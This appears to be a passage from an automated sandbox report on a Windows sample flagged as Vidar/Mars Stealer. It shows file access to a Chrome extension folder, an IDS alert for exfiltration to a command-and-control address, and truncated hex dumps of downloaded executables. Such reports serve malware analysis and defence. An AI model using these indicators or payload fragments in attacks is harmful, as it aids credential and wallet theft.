Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00405F70

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2033163 - Severity 1 - ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil : 192.168.2.5:49704 -> 104.194.151.11:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:01:57 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "9d9d8-6200e4e88720f"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:01:59 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "519d0-6200e4e818494"Accept-Ranges: bytesContent-Length: 334288Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:02:00 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "217d0-6200e4e840d08"Accept-Ranges: bytesContent-Length: 137168Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:02:00 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "6b738-6200e4e857852"Accept-Ranges: bytesContent-Length: 440120Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:02:01 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "1303d0-6200e4e85fd23"Accept-Ranges: bytesContent-Length: 1246160Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:02:02 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "235d0-6200e4e86cc2d"Accept-Ranges: bytesContent-Length: 144848Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:02:02 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "14748-6200e4e8856b7"Accept-Ranges: bytesContent-Length: 83784Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 